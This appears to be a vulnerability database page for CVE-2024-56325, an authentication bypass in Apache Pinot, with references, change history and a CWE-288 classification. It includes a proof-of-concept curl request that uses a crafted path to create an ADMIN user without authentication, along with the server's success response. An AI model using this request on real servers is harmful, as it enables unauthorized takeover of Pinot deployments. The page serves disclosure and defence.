Authentication Bypass Issue
If the path does not contain / and contain., authentication is not required.
Expected Normal Request and Response Example
curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}  http://{server_ip}:9000/users 
Return: {"code":401,"error":"HTTP 401 Unauthorized"}
Malicious Request and Response Example 
curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}'  http://{serverip}:9000/users; http://{serverip}:9000/users; .
Return: {"users":{}}
 
A new user gets added bypassing authentication, enabling the user to control Pinot.
                
            References
                    | Link | Resource | 
|---|---|
| https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v | Mailing List Vendor Advisory | 
| http://www.openwall.com/lists/oss-security/2025/03/27/8 | Mailing List Third Party Advisory | 
Configurations
                    History
                    15 Jul 2025, 19:49
| Type | Values Removed | Values Added | 
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| First Time | Apache Apache pinot | |
| CPE | cpe:2.3:a:apache:pinot:*:*:*:*:*:*:*:* | |
| References | () https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v - Mailing List, Vendor Advisory | |
| References | () http://www.openwall.com/lists/oss-security/2025/03/27/8 - Mailing List, Third Party Advisory | 
18 Apr 2025, 15:15
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| CVSS | v2 : v3 : | v2 : unknown v3 : 9.8 | 
| Summary | 
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01 Apr 2025, 10:15
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| References | 
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01 Apr 2025, 09:15
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| New CVE | 
Information
                Published : 2025-04-01 09:15
Updated : 2025-07-15 19:49
NVD link : CVE-2024-56325
Mitre link : CVE-2024-56325
CVE.ORG link : CVE-2024-56325
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Products Affected
                apache
- pinot
CWE
                
                    
                        
                        CWE-288
                        
            Authentication Bypass Using an Alternate Path or Channel
